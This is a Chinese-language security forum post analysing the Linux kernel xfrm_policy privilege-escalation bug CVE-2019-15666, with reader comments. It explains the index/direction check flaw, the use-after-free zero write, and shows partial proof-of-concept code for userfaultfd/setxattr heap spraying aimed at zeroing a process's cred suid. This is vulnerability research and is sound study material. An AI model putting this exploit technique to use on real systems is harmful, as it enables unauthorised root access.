首页
论坛
课程
招聘
[原创][原创]cve-2019-15666 xfrm_policy 提权漏洞
2020-9-10 15:11 850

[原创][原创]cve-2019-15666 xfrm_policy 提权漏洞

2020-9-10 15:11
850

一. 简介

这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x

 

漏洞成因,数组越界。需要需要插入用户定义的 index timer set。
XFRM_MSG_NEWSA请求的路劲添加policy。

 

添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。
https://duasynt.com/blog/ubuntu-centos-redhat-privesc

二. uaf形成

通过两次add_policy, 释放后会导致其中一个bin 释放不完全。

static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_userpolicy_info *p = nlmsg_data(nlh);
struct xfrm_policy *xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); [1]
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;
err = xfrm_policy_insert(p->dir, xp, excl); [2]
xfrm_audit_policy_add(xp, err ? 0 : 1, true);
...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
{
...
ret = verify_policy_dir(p->dir); [3]
if (ret)
return ret;
if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]
return -EINVAL;
return 0;
}

甚至在3.0版本中,根本没有检测。

static int verify_policy_dir(u8 dir)
{
    switch (dir) {
    case XFRM_POLICY_IN:
    case XFRM_POLICY_OUT:
    case XFRM_POLICY_FWD:
        break;

    default:
        return -EINVAL;
    }

    return 0;
}

伪造index = 4 , direction = 0; 将可以通过所有的认证。

 

触发越界位于 xfrm_policy_timer函数中。

if (unlikely(xp->walk.dead))
goto out;
dir = xfrm_policy_id2dir(xp->index); [5]      index = 4  dir = 4
...
expired:
read_unlock(&xp->lock);
if (!xfrm_policy_delete(xp, dir)) [6]
km_policy_expired(xp, dir, 1, 0);
xfrm_pol_put(xp);
}
其中 利用 xfrm_policy_id2dir();计算了direction。但是

static inline int xfrm_policy_id2dir(u32 index)
{
return index & 7;
}

4 & 7 = 4 ; [6]越界行为。 4 & 3 =0

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
struct net *net = xp_net(pol);
if (list_empty(&pol->walk.all))
return NULL;
/* Socket policies are not hashed. */
if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);
hlist_del(&pol->byidx);
}
list_del_init(&pol->walk.all);
net->xfrm.policy_count[dir]--; [7]
return pol;
}
  1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 and
    priority 0.
  2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) and
    a timer set.
  3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.
  4. XFRM_FLUSH_POLICY request is issued freeing the first policy.
  5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in the
    previous step

步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst
list:
大值意思是通过HTRESH刷新二次插入bydst。

static void xfrm_hash_rebuild(struct work_struct *work)
{
...
/* re-insert all policies by order of creation */
list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
    if (policy->walk.dead ||
    xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) { [8]
        /* skip socket policies */
        continue;
    }
    newpos = NULL;
    chain = policy_hash_bysel(net, &policy->selector,
    policy->family,
    xfrm_policy_id2dir(policy->index));
    hlist_for_each_entry(pol, chain, bydst) {
    if (policy->priority >= pol->priority)
        newpos = &pol->bydst;
    else
        break;
    }
    if (newpos)
        hlist_add_behind(&policy->bydst, newpos);
    else
        hlist_add_head(&policy->bydst, chain);
    }

However, the second policy with index 4 (4 & 7 = 4 is
now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.

 

setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:

int xfrm_policy_flush(struct net *net, u8 type, bool task_valid)
{
...
for (dir = 0; dir < XFRM_POLICY_MAX; dir++) {
    struct xfrm_policy *pol;
    int i;
    again1:
    hlist_for_each_entry(pol,
    &net->xfrm.policy_inexact[dir], bydst) {
    if (pol->type != type)
    continue;
    __xfrm_policy_unlink(pol, dir);
    spin_unlock_bh(&net->xfrm.xfrm_policy_lock);
    cnt++;
    xfrm_audit_policy_delete(pol, 1, task_valid);
    xfrm_policy_kill(pol); [9]
...

When the preset timer expires on the second policy, the following execution path calls the unlink operation
on the second policy leading to UAF write in [10]:

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,
int dir)
{
    struct net *net = xp_net(pol);
    if (list_empty(&pol->walk.all))
    return NULL;
    /* Socket policies are not hashed. */
    if (!hlist_unhashed(&pol->bydst)) {
        hlist_del_rcu(&pol->bydst); [10]
        hlist_del(&pol->byidx);
    }
    list_del_init(&pol->walk.all);
    net->xfrm.policy_count[dir]--;
    return pol;
}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:
static inline void __hlist_del(struct hlist_node *n)
{
struct hlist_node *next = n->next;
struct hlist_node **pprev = n->pprev;
WRITE_ONCE(*pprev, next); [11]
if (next)
next->pprev = pprev;
}

The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer
in the freed object gets overwritten with 0 (8-byte write) in [11].

期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;

 

*pprev = next ==> pol2->next = NULL;
next->pprev = pprev 没有操作。
最终:
pol2->pprev = pol1。pol2还引用这释放后的pol1值。 堆喷站位。

 

删除pol2
next = pol2->next =NULL
pprev = pol2->pprev =pol1

 

pprev = next ==> pol1->next = NULL
next->pprev = pprev ==> 没有操作;

 

那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。

 

也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。

二. poc实现利用

整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。

static pthread_t spray_setxattr(int flag, int idx)
{
    pthread_t ret;
    void *addr;
    addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
    if (!addr) {
        perror("mmap");
        exit(-1);
    }

    ret = uffd_setup(addr, 0x1000, flag, idx);
    sem_wait(&shmaddr[idx]);
    if (flag) {
        int c;
        read(pipedes1[0], &c, 1);
    }
    setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
    return ret;
}

        void *addr;
        addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000);
        sem_post(&shmaddr[idx + 1]);
        int c;
        read(pipedes0[0], &c, 1);

        struct uffdio_copy io_copy;
        char src[0x1000];
        io_copy.dst = (unsigned long)addr;
        io_copy.src = (unsigned long)src;
        io_copy.len = 0x1000;
        io_copy.mode = 0;
        if ((idx > (SEM_MAX - 1)) || (idx < 205)) {
            sleep(1);
            if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0)
                perror("UFFDIO_COPY");
        } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) {
            perror("UFFDIO_COPY");
        }
        sleep(3);

本来有个setup_sandbox启用子命名空间,但是被注释掉了。
对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。
开始没明白,后来看了这个 https://xz.aliyun.com/t/2814
原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。

 

while true; do ./test && break; done

三. 完成提权

大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,而且能不能提权全靠运气,但是大部分情况还真能。不得不服。

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    uid_t        uid;        /* real UID of the task */
    gid_t        gid;        /* real GID of the task */
    uid_t        suid;        /* saved UID of the task */
    gid_t        sgid;        /* saved GID of the task */
    uid_t        euid;        /* effective UID of the task */
    gid_t        egid;        /* effective GID of the task */
    uid_t        fsuid;        /* UID for VFS ops */
    gid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
......
};
struct xfrm_policy {
#ifdef CONFIG_NET_NS
    struct net        *xp_net;
#endif
    struct hlist_node    bydst;
    struct hlist_node    byidx;
.....
};

typedef __kernel_uid32_t    uid_t;

cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。

 

参考:
1.https://duasynt.com/blog/ubuntu-centos-redhat-privesc


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

最后于 2020-9-10 15:15 被inquisiter编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 1
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
残废小菜比 活跃值 2020-9-17 15:34
2
0
有在centos7.x上测试过吗,测试了几个3.10.x的内核,基本都提权失败
雪    币: 1282
活跃值: 活跃值 (551)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
inquisiter 活跃值 2 2020-9-17 15:38
3
0
残废小菜比 有在centos7.x上测试过吗,测试了几个3.10.x的内核,基本都提权失败
我测了两个内核  4.10 4.19可以,主要是技术原理
雪    币: 1282
活跃值: 活跃值 (551)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
inquisiter 活跃值 2 2020-9-17 15:39
4
0
inquisiter 我测了两个内核 4.10 4.19可以,主要是技术原理
你可以分析下为什么失败
游客
登录 | 注册 方可回帖
返回